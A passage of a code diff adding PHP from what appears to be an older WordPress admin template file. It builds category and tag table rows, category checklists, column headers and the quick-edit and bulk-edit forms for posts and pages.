+	$qe_data = get_term_to_edit($category->term_id, 'link_category');
+
+	$category->count = number_format_i18n( $category->count );
+	$count = ( $category->count > 0 ) ? "<a href='link-manager.php?cat_id=$category->term_id'>$category->count</a>" : $category->count;
+	$output = "<tr id='link-cat-$category->term_id' class='iedit $row_class'>";
+	$columns = get_column_headers('edit-link-categories');
+	$hidden = get_hidden_columns('edit-link-categories');
+	foreach ( $columns as $column_name => $column_display_name ) {
+		$class = "class=\"$column_name column-$column_name\"";
+
+		$style = '';
+		if ( in_array($column_name, $hidden) )
+			$style = ' style="display:none;"';
+
+		$attributes = "$class$style";
+
+		switch ($column_name) {
+			case 'cb':
+				$output .= "<th scope='row' class='check-column'>";
+				if ( absint( get_option( 'default_link_category' ) ) != $category->term_id ) {
+					$output .= "<input type='checkbox' name='delete[]' value='$category->term_id' />";
+				} else {
+					$output .= "&nbsp;";
+				}
+				$output .= "</th>";
+				break;
+			case 'name':
+				$output .= "<td $attributes>$edit";
+				$output .= '<div class="hidden" id="inline_' . $qe_data->term_id . '">';
+				$output .= '<div class="name">' . $qe_data->name . '</div>';
+				$output .= '<div class="slug">' . $qe_data->slug . '</div>';
+				$output .= '<div class="cat_parent">' . $qe_data->parent . '</div></div></td>';
+				break;
+			case 'description':
+				$output .= "<td $attributes>$category->description</td>";
+				break;
+			case 'slug':
+				$output .= "<td $attributes>$category->slug</td>";
+				break;
+			case 'links':
+				$attributes = 'class="links column-links num"' . $style;
+				$output .= "<td $attributes>$count</td>";
+				break;
+			default:
+				$output .= "<td $attributes>";
+				$output .= apply_filters('manage_link_categories_custom_column', '', $column_name, $category->term_id);
+				$output .= "</td>";
+		}
+	}
+	$output .= '</tr>';
+
+	return $output;
+}
+
+/**
+ * Outputs the html checked attribute.
+ *
+ * Compares the first two arguments and if identical marks as checked
+ *
+ * @since 2.8
+ *
+ * @param any $checked One of the values to compare
+ * @param any $current (true) The other value to compare if not just true
+ * @param bool $echo Whether or not to echo or just return the string
+ */
+function checked( $checked, $current = true, $echo = true) {
+	return __checked_selected_helper( $checked, $current, $echo, 'checked' );
+}
+
+/**
+ * Outputs the html selected attribute.
+ *
+ * Compares the first two arguments and if identical marks as selected
+ *
+ * @since 2.8
+ *
+ * @param any selected One of the values to compare
+ * @param any $current (true) The other value to compare if not just true
+ * @param bool $echo Whether or not to echo or just return the string
+ */
+function selected( $selected, $current = true, $echo = true) {
+	return __checked_selected_helper( $selected, $current, $echo, 'selected' );
+}
+
+/**
+ * Private helper function for checked and selected.
+ *
+ * Compares the first two arguments and if identical marks as $type
+ *
+ * @since 2.8
+ * @access private
+ *
+ * @param any $helper One of the values to compare
+ * @param any $current (true) The other value to compare if not just true
+ * @param bool $echo Whether or not to echo or just return the string
+ * @param string $type The type of checked|selected we are doing.
+ */
+function __checked_selected_helper( $helper, $current, $echo, $type) {
+	if ( $helper == $current)
+		$result = " $type='$type'";
+	else
+		$result = '';
+
+	if ($echo)
+		echo $result;
+
+	return $result;
+}
+
+//
+// Category Checklists
+//
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ * @deprecated Use {@link wp_link_category_checklist()}
+ * @see wp_link_category_checklist()
+ *
+ * @param unknown_type $default
+ * @param unknown_type $parent
+ * @param unknown_type $popular_ids
+ */
+function dropdown_categories( $default = 0, $parent = 0, $popular_ids = array() ) {
+	global $post_ID;
+	wp_category_checklist($post_ID);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ */
+class Walker_Category_Checklist extends Walker {
+	var $tree_type = 'category';
+	var $db_fields = array ('parent' => 'parent', 'id' => 'term_id'); //TODO: decouple this
+
+	function start_lvl(&$output, $depth, $args) {
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent<ul class='children'>\n";
+	}
+
+	function end_lvl(&$output, $depth, $args) {
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent</ul>\n";
+	}
+
+	function start_el(&$output, $category, $depth, $args) {
+		extract($args);
+
+		$class = in_array( $category->term_id, $popular_cats ) ? ' class="popular-category"' : '';
+		$output .= "\n<li id='category-$category->term_id'$class>" . '<label class="selectit"><input value="' . $category->term_id . '" type="checkbox" name="post_category[]" id="in-category-' . $category->term_id . '"' . (in_array( $category->term_id, $selected_cats ) ? ' checked="checked"' : "" ) . '/> ' . esc_html( apply_filters('the_category', $category->name )) . '</label>';
+	}
+
+	function end_el(&$output, $category, $depth, $args) {
+		$output .= "</li>\n";
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $post_id
+ * @param unknown_type $descendants_and_self
+ * @param unknown_type $selected_cats
+ * @param unknown_type $popular_cats
+ */
+function wp_category_checklist( $post_id = 0, $descendants_and_self = 0, $selected_cats = false, $popular_cats = false, $walker = null ) {
+	if ( empty($walker) || !is_a($walker, 'Walker') )
+		$walker = new Walker_Category_Checklist;
+
+	$descendants_and_self = (int) $descendants_and_self;
+
+	$args = array();
+
+	if ( is_array( $selected_cats ) )
+		$args['selected_cats'] = $selected_cats;
+	elseif ( $post_id )
+		$args['selected_cats'] = wp_get_post_categories($post_id);
+	else
+		$args['selected_cats'] = array();
+
+	if ( is_array( $popular_cats ) )
+		$args['popular_cats'] = $popular_cats;
+	else
+		$args['popular_cats'] = get_terms( 'category', array( 'fields' => 'ids', 'orderby' => 'count', 'order' => 'DESC', 'number' => 10, 'hierarchical' => false ) );
+
+	if ( $descendants_and_self ) {
+		$categories = get_categories( "child_of=$descendants_and_self&hierarchical=0&hide_empty=0" );
+		$self = get_category( $descendants_and_self );
+		array_unshift( $categories, $self );
+	} else {
+		$categories = get_categories('get=all');
+	}
+
+	// Post process $categories rather than adding an exclude to the get_terms() query to keep the query the same across all posts (for any query cache)
+	$checked_categories = array();
+	$keys = array_keys( $categories );
+
+	foreach( $keys as $k ) {
+		if ( in_array( $categories[$k]->term_id, $args['selected_cats'] ) ) {
+			$checked_categories[] = $categories[$k];
+			unset( $categories[$k] );
+		}
+	}
+
+	// Put checked cats on top
+	echo call_user_func_array(array(&$walker, 'walk'), array($checked_categories, 0, $args));
+	// Then the rest of them
+	echo call_user_func_array(array(&$walker, 'walk'), array($categories, 0, $args));
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $taxonomy
+ * @param unknown_type $default
+ * @param unknown_type $number
+ * @param unknown_type $echo
+ * @return unknown
+ */
+function wp_popular_terms_checklist( $taxonomy, $default = 0, $number = 10, $echo = true ) {
+	global $post_ID;
+	if ( $post_ID )
+		$checked_categories = wp_get_post_categories($post_ID);
+	else
+		$checked_categories = array();
+	$categories = get_terms( $taxonomy, array( 'orderby' => 'count', 'order' => 'DESC', 'number' => $number, 'hierarchical' => false ) );
+
+	$popular_ids = array();
+	foreach ( (array) $categories as $category ) {
+		$popular_ids[] = $category->term_id;
+		if ( !$echo ) // hack for AJAX use
+			continue;
+		$id = "popular-category-$category->term_id";
+		?>
+
+		<li id="<?php echo $id; ?>" class="popular-category">
+			<label class="selectit">
+			<input id="in-<?php echo $id; ?>" type="checkbox" value="<?php echo (int) $category->term_id; ?>" />
+				<?php echo esc_html( apply_filters( 'the_category', $category->name ) ); ?>
+			</label>
+		</li>
+
+		<?php
+	}
+	return $popular_ids;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ * @deprecated Use {@link wp_link_category_checklist()}
+ * @see wp_link_category_checklist()
+ *
+ * @param unknown_type $default
+ */
+function dropdown_link_categories( $default = 0 ) {
+	global $link_id;
+
+	wp_link_category_checklist($link_id);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $link_id
+ */
+function wp_link_category_checklist( $link_id = 0 ) {
+	$default = 1;
+
+	if ( $link_id ) {
+		$checked_categories = wp_get_link_cats($link_id);
+
+		if ( count( $checked_categories ) == 0 ) {
+			// No selected categories, strange
+			$checked_categories[] = $default;
+		}
+	} else {
+		$checked_categories[] = $default;
+	}
+
+	$categories = get_terms('link_category', 'orderby=count&hide_empty=0');
+
+	if ( empty($categories) )
+		return;
+
+	foreach ( $categories as $category ) {
+		$cat_id = $category->term_id;
+		$name = esc_html( apply_filters('the_category', $category->name));
+		$checked = in_array( $cat_id, $checked_categories );
+		echo '<li id="link-category-', $cat_id, '"><label for="in-link-category-', $cat_id, '" class="selectit"><input value="', $cat_id, '" type="checkbox" name="link_category[]" id="in-link-category-', $cat_id, '"', ($checked ? ' checked="checked"' : "" ), '/> ', $name, "</label></li>";
+	}
+}
+
+// Tag stuff
+
+// Returns a single tag row (see tag_rows below)
+// Note: this is also used in admin-ajax.php!
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $tag
+ * @param unknown_type $class
+ * @return unknown
+ */
+function _tag_row( $tag, $class = '', $taxonomy = 'post_tag' ) {
+		$count = number_format_i18n( $tag->count );
+		$tagsel = ($taxonomy == 'post_tag' ? 'tag' : $taxonomy);
+		$count = ( $count > 0 ) ? "<a href='edit.php?$tagsel=$tag->slug'>$count</a>" : $count;
+
+		$name = apply_filters( 'term_name', $tag->name );
+		$qe_data = get_term($tag->term_id, $taxonomy, object, 'edit');
+		$edit_link = "edit-tags.php?action=edit&amp;taxonomy=$taxonomy&amp;tag_ID=$tag->term_id";
+		$out = '';
+		$out .= '<tr id="tag-' . $tag->term_id . '"' . $class . '>';
+		$columns = get_column_headers('edit-tags');
+		$hidden = get_hidden_columns('edit-tags');
+		foreach ( $columns as $column_name => $column_display_name ) {
+			$class = "class=\"$column_name column-$column_name\"";
+
+			$style = '';
+			if ( in_array($column_name, $hidden) )
+				$style = ' style="display:none;"';
+
+			$attributes = "$class$style";
+
+			switch ($column_name) {
+				case 'cb':
+					$out .= '<th scope="row" class="check-column"> <input type="checkbox" name="delete_tags[]" value="' . $tag->term_id . '" /></th>';
+					break;
+				case 'name':
+					$out .= '<td ' . $attributes . '><strong><a class="row-title" href="' . $edit_link . '" title="' . esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $name)) . '">' . $name . '</a></strong><br />';
+					$actions = array();
+					$actions['edit'] = '<a href="' . $edit_link . '">' . __('Edit') . '</a>';
+					$actions['inline hide-if-no-js'] = '<a href="#" class="editinline">' . __('Quick&nbsp;Edit') . '</a>';
+					$actions['delete'] = "<a class='delete:the-list:tag-$tag->term_id submitdelete' href='" . wp_nonce_url("edit-tags.php?action=delete&amp;taxonomy=$taxonomy&amp;tag_ID=$tag->term_id", 'delete-tag_' . $tag->term_id) . "'>" . __('Delete') . "</a>";
+					$actions = apply_filters('tag_row_actions', $actions, $tag);
+					$action_count = count($actions);
+					$i = 0;
+					$out .= '<div class="row-actions">';
+					foreach ( $actions as $action => $link ) {
+						++$i;
+						( $i == $action_count ) ? $sep = '' : $sep = ' | ';
+						$out .= "<span class='$action'>$link$sep</span>";
+					}
+					$out .= '</div>';
+					$out .= '<div class="hidden" id="inline_' . $qe_data->term_id . '">';
+					$out .= '<div class="name">' . $qe_data->name . '</div>';
+					$out .= '<div class="slug">' . $qe_data->slug . '</div></div></td>';
+					break;
+				case 'description':
+					$out .= "<td $attributes>$tag->description</td>";
+					break;
+				case 'slug':
+					$out .= "<td $attributes>$tag->slug</td>";
+					break;
+				case 'posts':
+					$attributes = 'class="posts column-posts num"' . $style;
+					$out .= "<td $attributes>$count</td>";
+					break;
+				default:
+					$out .= "<td $attributes>";
+					$out .= apply_filters("manage_${taxonomy}_custom_column", '', $column_name, $tag->term_id);
+					$out .= "</td>";
+			}
+		}
+
+		$out .= '</tr>';
+
+		return $out;
+}
+
+// Outputs appropriate rows for the Nth page of the Tag Management screen,
+// assuming M tags displayed at a time on the page
+// Returns the number of tags displayed
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $page
+ * @param unknown_type $pagesize
+ * @param unknown_type $searchterms
+ * @return unknown
+ */
+function tag_rows( $page = 1, $pagesize = 20, $searchterms = '', $taxonomy = 'post_tag' ) {
+
+	// Get a page worth of tags
+	$start = ($page - 1) * $pagesize;
+
+	$args = array('offset' => $start, 'number' => $pagesize, 'hide_empty' => 0);
+
+	if ( !empty( $searchterms ) ) {
+		$args['search'] = $searchterms;
+	}
+
+	$tags = get_terms( $taxonomy, $args );
+
+	// convert it to table rows
+	$out = '';
+	$count = 0;
+	foreach( $tags as $tag )
+		$out .= _tag_row( $tag, ++$count % 2 ? ' class="iedit alternate"' : ' class="iedit"', $taxonomy );
+
+	// filter and send to screen
+	echo $out;
+	return $count;
+}
+
+// define the columns to display, the syntax is 'internal name' => 'display name'
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function wp_manage_posts_columns() {
+	$posts_columns = array();
+	$posts_columns['cb'] = '<input type="checkbox" />';
+	/* translators: manage posts column name */
+	$posts_columns['title'] = _x('Post', 'column name');
+	$posts_columns['author'] = __('Author');
+	$posts_columns['categories'] = __('Categories');
+	$posts_columns['tags'] = __('Tags');
+	if ( !isset($_GET['post_status']) || !in_array($_GET['post_status'], array('pending', 'draft', 'future')) )
+		$posts_columns['comments'] = '<div class="vers"><img alt="Comments" src="images/comment-grey-bubble.png" /></div>';
+	$posts_columns['date'] = __('Date');
+	$posts_columns = apply_filters('manage_posts_columns', $posts_columns);
+
+	return $posts_columns;
+}
+
+// define the columns to display, the syntax is 'internal name' => 'display name'
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function wp_manage_media_columns() {
+	$posts_columns = array();
+	$posts_columns['cb'] = '<input type="checkbox" />';
+	$posts_columns['icon'] = '';
+	/* translators: column name */
+	$posts_columns['media'] = _x('File', 'column name');
+	$posts_columns['author'] = __('Author');
+	//$posts_columns['tags'] = _x('Tags', 'column name');
+	/* translators: column name */
+	$posts_columns['parent'] = _x('Attached to', 'column name');
+	$posts_columns['comments'] = '<div class="vers"><img alt="Comments" src="images/comment-grey-bubble.png" /></div>';
+	//$posts_columns['comments'] = __('Comments');
+	/* translators: column name */
+	$posts_columns['date'] = _x('Date', 'column name');
+	$posts_columns = apply_filters('manage_media_columns', $posts_columns);
+
+	return $posts_columns;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function wp_manage_pages_columns() {
+	$posts_columns = array();
+	$posts_columns['cb'] = '<input type="checkbox" />';
+	$posts_columns['title'] = __('Title');
+	$posts_columns['author'] = __('Author');
+	$post_status = 'all';
+	if ( !empty($_GET['post_status']) )
+		$post_status = $_GET['post_status'];
+	if ( !in_array($post_status, array('pending', 'draft', 'future')) )
+		$posts_columns['comments'] = '<div class="vers"><img alt="" src="images/comment-grey-bubble.png" /></div>';
+	$posts_columns['date'] = __('Date');
+	$posts_columns = apply_filters('manage_pages_columns', $posts_columns);
+
+	return $posts_columns;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $page
+ * @return unknown
+ */
+function get_column_headers($page) {
+	global $_wp_column_headers;
+
+	if ( !isset($_wp_column_headers) )
+		$_wp_column_headers = array();
+
+	// Store in static to avoid running filters on each call
+	if ( isset($_wp_column_headers[$page]) )
+		return $_wp_column_headers[$page];
+
+	switch ($page) {
+		case 'edit':
+			 $_wp_column_headers[$page] = wp_manage_posts_columns();
+			 break;
+		case 'edit-pages':
+			$_wp_column_headers[$page] = wp_manage_pages_columns();
+			break;
+		case 'edit-comments':
+			$_wp_column_headers[$page] = array(
+				'cb' => '<input type="checkbox" />',
+				'author' => __('Author'),
+				/* translators: column name */
+				'comment' => _x('Comment', 'column name'),
+				//'date' => __('Submitted'),
+				'response' => __('In Response To')
+			);
+
+			break;
+		case 'link-manager':
+			$_wp_column_headers[$page] = array(
+				'cb' => '<input type="checkbox" />',
+				'name' => __('Name'),
+				'url' => __('URL'),
+				'categories' => __('Categories'),
+				'rel' => __('Relationship'),
+				'visible' => __('Visible'),
+				'rating' => __('Rating')
+			);
+
+			break;
+		case 'upload':
+			$_wp_column_headers[$page] = wp_manage_media_columns();
+			break;
+		case 'categories':
+			$_wp_column_headers[$page] = array(
+				'cb' => '<input type="checkbox" />',
+				'name' => __('Name'),
+				'description' => __('Description'),
+				'slug' => __('Slug'),
+				'posts' => __('Posts')
+			);
+
+			break;
+		case 'edit-link-categories':
+			$_wp_column_headers[$page] = array(
+				'cb' => '<input type="checkbox" />',
+				'name' => __('Name'),
+				'description' => __('Description'),
+				'slug' => __('Slug'),
+				'links' => __('Links')
+			);
+
+			break;
+		case 'edit-tags':
+			$_wp_column_headers[$page] = array(
+				'cb' => '<input type="checkbox" />',
+				'name' => __('Name'),
+				'description' => __('Description'),
+				'slug' => __('Slug'),
+				'posts' => __('Posts')
+			);
+
+			break;
+		case 'users':
+			$_wp_column_headers[$page] = array(
+				'cb' => '<input type="checkbox" />',
+				'username' => __('Username'),
+				'name' => __('Name'),
+				'email' => __('E-mail'),
+				'role' => __('Role'),
+				'posts' => __('Posts')
+			);
+			break;
+		default :
+			$_wp_column_headers[$page] = array();
+	}
+
+	$_wp_column_headers[$page] = apply_filters('manage_' . $page . '_columns', $_wp_column_headers[$page]);
+	return $_wp_column_headers[$page];
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $type
+ * @param unknown_type $id
+ */
+function print_column_headers( $type, $id = true ) {
+	$type = str_replace('.php', '', $type);
+	$columns = get_column_headers( $type );
+	$hidden = get_hidden_columns($type);
+	$styles = array();
+//	$styles['tag']['posts'] = 'width: 90px;';
+//	$styles['link-category']['links'] = 'width: 90px;';
+//	$styles['category']['posts'] = 'width: 90px;';
+//	$styles['link']['visible'] = 'text-align: center;';
+
+	foreach ( $columns as $column_key => $column_display_name ) {
+		$class = ' class="manage-column';
+
+		$class .= " column-$column_key";
+
+		if ( 'cb' == $column_key )
+			$class .= ' check-column';
+		elseif ( in_array($column_key, array('posts', 'comments', 'links')) )
+			$class .= ' num';
+
+		$class .= '"';
+
+		$style = '';
+		if ( in_array($column_key, $hidden) )
+			$style = 'display:none;';
+
+		if ( isset($styles[$type]) && isset($styles[$type][$column_key]) )
+			$style .= ' ' . $styles[$type][$column_key];
+		$style = ' style="' . $style . '"';
+?>
+	<th scope="col" <?php echo $id ? "id=\"$column_key\"" : ""; echo $class; echo $style; ?>><?php echo $column_display_name; ?></th>
+<?php }
+}
+
+/**
+ * Register column headers for a particular screen.  The header names will be listed in the Screen Options.
+ *
+ * @since 2.7.0
+ *
+ * @param string $screen The handle for the screen to add help to.  This is usually the hook name returned by the add_*_page() functions.
+ * @param array $columns An array of columns with column IDs as the keys and translated column names as the values
+ * @see get_column_headers(), print_column_headers(), get_hidden_columns()
+ */
+function register_column_headers($screen, $columns) {
+	global $_wp_column_headers;
+
+	if ( !isset($_wp_column_headers) )
+		$_wp_column_headers = array();
+
+	$_wp_column_headers[$screen] = $columns;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $page
+ */
+function get_hidden_columns($page) {
+	$page = str_replace('.php', '', $page);
+	return (array) get_user_option( 'manage-' . $page . '-columns-hidden', 0, false );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * Outputs the quick edit and bulk edit table rows for posts and pages
+ *
+ * @since 2.7
+ *
+ * @param string $type 'post' or 'page'
+ */
+function inline_edit_row( $type ) {
+	global $current_user, $mode;
+
+	$is_page = 'page' == $type;
+	if ( $is_page ) {
+		$screen = 'edit-pages';
+		$post = get_default_page_to_edit();
+	} else {
+		$screen = 'edit';
+		$post = get_default_post_to_edit();
+	}
+
+	$columns = $is_page ? wp_manage_pages_columns() : wp_manage_posts_columns();
+	$hidden = array_intersect( array_keys( $columns ), array_filter( get_hidden_columns($screen) ) );
+	$col_count = count($columns) - count($hidden);
+	$m = ( isset($mode) && 'excerpt' == $mode ) ? 'excerpt' : 'list';
+	$can_publish = current_user_can("publish_{$type}s");
+	$core_columns = array( 'cb' => true, 'date' => true, 'title' => true, 'categories' => true, 'tags' => true, 'comments' => true, 'author' => true );
+
+?>
+
+<form method="get" action=""><table style="display: none"><tbody id="inlineedit">
+	<?php
+	$bulk = 0;
+	while ( $bulk < 2 ) { ?>
+
+	<tr id="<?php echo $bulk ? 'bulk-edit' : 'inline-edit'; ?>" class="inline-edit-row inline-edit-row-<?php echo "$type ";
+		echo $bulk ? "bulk-edit-row bulk-edit-row-$type" : "quick-edit-row quick-edit-row-$type";
+	?>" style="display: none"><td colspan="<?php echo $col_count; ?>">
+
+	<fieldset class="inline-edit-col-left"><div class="inline-edit-col">
+		<h4><?php echo $bulk ? ( $is_page ? __( 'Bulk Edit Pages' ) : __( 'Bulk Edit Posts' ) ) : __( 'Quick Edit' ); ?></h4>
+
+
+<?php if ( $bulk ) : ?>
+		<div id="bulk-title-div">
+			<div id="bulk-titles"></div>
+		</div>
+
+<?php else : // $bulk ?>
+
+		<label>
+			<span class="title"><?php _e( 'Title' ); ?></span>
+			<span class="input-text-wrap"><input type="text" name="post_title" class="ptitle" value="" /></span>
+		</label>
+
+<?php endif; // $bulk ?>
+
+
+<?php if ( !$bulk ) : ?>
+
+		<label>
+			<span class="title"><?php _e( 'Slug' ); ?></span>
+			<span class="input-text-wrap"><input type="text" name="post_name" value="" /></span>
+		</label>
+
+		<label><span class="title"><?php _e( 'Date' ); ?></span></label>
+		<div class="inline-edit-date">
+			<?php touch_time(1, 1, 4, 1); ?>
+		</div>
+		<br class="clear" />
+
+<?php endif; // $bulk
+
+		ob_start();
+		$authors = get_editable_user_ids( $current_user->id, true, $type ); // TODO: ROLE SYSTEM
+		if ( $authors && count( $authors ) > 1 ) :
+			$users_opt = array('include' => $authors, 'name' => 'post_author', 'class'=> 'authors', 'multi' => 1);
+			if ( $bulk )
+				$users_opt['show_option_none'] = __('- No Change -');
+?>
+		<label>
+			<span class="title"><?php _e( 'Author' ); ?></span>
+			<?php wp_dropdown_users( $users_opt ); ?>
+		</label>
+
+<?php
+		endif; // authors
+		$authors_dropdown = ob_get_clean();
+?>
+
+<?php if ( !$bulk ) : echo $authors_dropdown; ?>
+
+		<div class="inline-edit-group">
+			<label class="alignleft">
+				<span class="title"><?php _e( 'Password' ); ?></span>
+				<span class="input-text-wrap"><input type="text" name="post_password" class="inline-edit-password-input" value="" /></span>
+			</label>
+
+			<em style="margin:5px 10px 0 0" class="alignleft">
+				<?php
+				/* translators: Between password field and private checkbox on post quick edit interface */
+				echo __( '&ndash;OR&ndash;' );
+				?>
+			</em>
+			<label class="alignleft inline-edit-private">
+				<input type="checkbox" name="keep_private" value="private" />
+				<span class="checkbox-title"><?php echo $is_page ? __('Private page') : __('Private post'); ?></span>
+			</label>
+		</div>
+
+<?php endif; ?>
+
+	</div></fieldset>
+
+<?php if ( !$is_page && !$bulk ) : ?>
+
+	<fieldset class="inline-edit-col-center inline-edit-categories"><div class="inline-edit-col">
+		<span class="title inline-edit-categories-label"><?php _e( 'Categories' ); ?>
+			<span class="catshow"><?php _e('[more]'); ?></span>
+			<span class="cathide" style="display:none;"><?php _e('[less]'); ?></span>
+		</span>
+		<ul class="cat-checklist">
+			<?php wp_category_checklist(); ?>
+		</ul>
+	</div></fieldset>
+
+<?php endif; // !$is_page && !$bulk ?>
+
+	<fieldset class="inline-edit-col-right"><div class="inline-edit-col">
+
+<?php
+	if ( $bulk )
+		echo $authors_dropdown;
+?>
+
+<?php if ( $is_page ) : ?>
+
+		<label>
+			<span class="title"><?php _e( 'Parent' ); ?></span>
+<?php
+	$dropdown_args = array('selected' => $post->post_parent, 'name' => 'post_parent', 'show_option_none' => __('Main Page (no parent)'), 'option_none_value' => 0, 'sort_column'=> 'menu_order, post_title');
+	if ( $bulk )
+		$dropdown_args['show_option_no_change'] =  __('- No Change -');
+	$dropdown_args = apply_filters('quick_edit_dropdown_pages_args', $dropdown_args);
+	wp_dropdown_pages($dropdown_args);
+?>
+		</label>
+
+<?php	if ( !$bulk ) : ?>
+
+		<label>
+			<span class="title"><?php _e( 'Order' ); ?></span>
+			<span class="input-text-wrap"><input type="text" name="menu_order" class="inline-edit-menu-order-input" value="<?php echo $post->menu_order ?>" /></span>
+		</label>
+
+<?php	endif; // !$bulk ?>
+
+		<label>
+			<span class="title"><?php _e( 'Template' ); ?></span>
+			<select name="page_template">
+<?php	if ( $bulk ) : ?>
+				<option value="-1"><?php _e('- No Change -'); ?></option>
+<?php	endif; // $bulk ?>
+				<option value="default"><?php _e( 'Default Template' ); ?></option>
+				<?php page_template_dropdown() ?>
+			</select>
+		</label>
+
+<?php elseif ( !$bulk ) : // $is_page ?>
+
+		<label class="inline-edit-tags">
+			<span class="title"><?php _e( 'Tags' ); ?></span>
+			<textarea cols="22" rows="1" name="tags_input" class="tags_input"></textarea>
+		</label>
+
+<?php endif; // $is_page  ?>
+
+<?php if ( $bulk ) : ?>
+
+		<div class="inline-edit-group">
+		<label class="alignleft">
+			<span class="title"><?php _e( 'Comments' ); ?></span>
+			<select name="comment_status">
+				<option value=""><?php _e('- No Change -'); ?></option>
+				<option value="open"><?php _e('Allow'); ?></option>
+				<option value="closed"><?php _e('Do not allow'); ?></option>
+			</select>
+		</label>
+
+		<label class="alignright">
+			<span class="title"><?php _e( 'Pings' ); ?></span>
+			<select name="ping_status">
+				<option value=""><?php _e('- No Change -'); ?></option>
+				<option value="open"><?php _e('Allow'); ?></option>
+				<option value="closed"><?php _e('Do not allow'); ?></option>
+			</select>
+		</label>
+		</div>
+
+<?php else : // $bulk ?>
+
+		<div class="inline-edit-group">
+			<label class="alignleft">
+				<input type="checkbox" name="comment_status" value="open" />
+				<span class="checkbox-title"><?php _e( 'Allow Comments' ); ?></span>
+			</label>
+
+			<label class="alignleft">
+				<input type="checkbox" name="ping_status" value="open" />
+				<span class="checkbox-title"><?php _e( 'Allow Pings' ); ?></span>
+			</label>
+		</div>
+
+<?php endif; // $bulk ?>
+
+
+		<div class="inline-edit-group">
+			<label class="inline-edit-status alignleft">
+				<span class="title"><?php _e( 'Status' ); ?></span>
+				<select name="_status">
+<?php if ( $bulk ) : ?>
+					<option value="-1"><?php _e('- No Change -'); ?></option>
+<?php endif; // $bulk ?>
+				<?php if ( $can_publish ) : // Contributors only get "Unpublished" and "Pending Review" ?>
+					<option value="publish"><?php _e( 'Published' ); ?></option>
+					<option value="future"><?php _e( 'Scheduled' ); ?></option>
+<?php if ( $bulk ) : ?>
+					<option value="private"><?php _e('Private') ?></option>
+<?php endif; // $bulk ?>
+				<?php endif; ?>
+					<option value="pending"><?php _e( 'Pending Review' ); ?></option>
+					<option value="draft"><?php _e( 'Draft' ); ?></option>
+				</select>
+			</label>
+
+<?php if ( !$is_page && $can_publish && current_user_can( 'edit_others_posts' ) ) : ?>
+
+<?php	if ( $bulk ) : ?>
+
+			<label class="alignright">
+				<span class="title"><?php _e( 'Sticky' ); ?></span>
+				<select name="sticky">
+					<option value="-1"><?php _e( '- No Change -' ); ?></option>
+					<option value="sticky"><?php _e( 'Sticky' ); ?></option>
+					<option value="unsticky"><?php _e( 'Not Sticky' ); ?></option>
+				</select>
+			</label>
+
+<?php	else : // $bulk ?>
+
+			<label class="alignleft">
+				<input type="checkbox" name="sticky" value="sticky" />
+				<span class="checkbox-title"><?php _e( 'Make this post sticky' ); ?></span>
+			</label>
+
+<?php	endif; // $bulk ?>
+
+<?php endif; // !$is_page && $can_publish && current_user_can( 'edit_others_posts' ) ?>
+
+		</div>
+
+	</div></fieldset>
+
+<?php
+	foreach ( $columns as $column_name => $column_display_name ) {
+		if ( isset( $core_columns[$column_name] ) )
+			continue;
+		do_action( $bulk ? 'bulk_edit_custom_box' : 'quick_edit_custom_box', $column_name, $type);
+	}
+?>
+	<p class="submit inline-edit-save">
+		<a accesskey="c" href="#inline-edit" title="<?php _e('Cancel'); ?>" class="button-secondary cancel alignleft"><?php _e('Cancel'); ?></a>
+		<?php if ( ! $bulk ) {
+			wp_nonce_field( 'inlineeditnonce', '_inline_edit', false );
+			$update_text = ( $is_page ) ? __( 'Update Page' ) : __( 'Update Post' );
+			?>
+			<a accesskey="s" href="#inline-edit" title="<?php _e('Update'); ?>" class="button-primary save alignright"><?php echo esc_attr( $update_text ); ?></a>
+			<img class="waiting" style="display:none;" src="images/wpspin_light.gif" alt="" />
+		<?php } else {
+			$update_text = ( $is_page ) ? __( 'Update Pages' ) : __( 'Update Posts' );
+		?>
+			<input accesskey="s" class="button-primary alignright" type="submit" name="bulk_edit" value="<?php echo esc_attr( $update_text ); ?>" />
+		<?php } ?>
+		<input type="hidden" name="post_view" value="<?php echo $m; ?>" />
+		<br class="clear" />
+	</p>
+	</td></tr>
+<?php
+	$bulk++;
+	} ?>
+	</tbody></table></form>
+<?php
+}
+
+// adds hidden fields with the data for use in the inline editor for posts and pages
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $post
+ */
+function get_inline_data($post) {
+
+	if ( ! current_user_can('edit_' . $post->post_type, $post->ID) )
+		return;
+
+	$title = esc_attr($post->post_title);
+
+	echo '
+<div class="hidden" id="inline_' . $post->ID . '">
+	<div class="post_title">' . $title . '</div>
+	<div class="post_name">' . $post->post_name . '</div>
+	<div class="post_author">' . $post->post_author . '</div>
+	<div class="comment_status">' . $post->comment_status . '</div>
+	<div class="ping_status">' . $post->ping_status . '</div>
+	<div class="_status">' . $post->post_status . '</div>
+	<div class="jj">' . mysql2date( 'd', $post->post_date, false ) . '</div>
+	<div class="mm">' . mysql2date( 'm', $post->post_date, false ) . '</div>
+	<div class="aa">' . mysql2date( 'Y', $post->post_date, false ) . '</div>
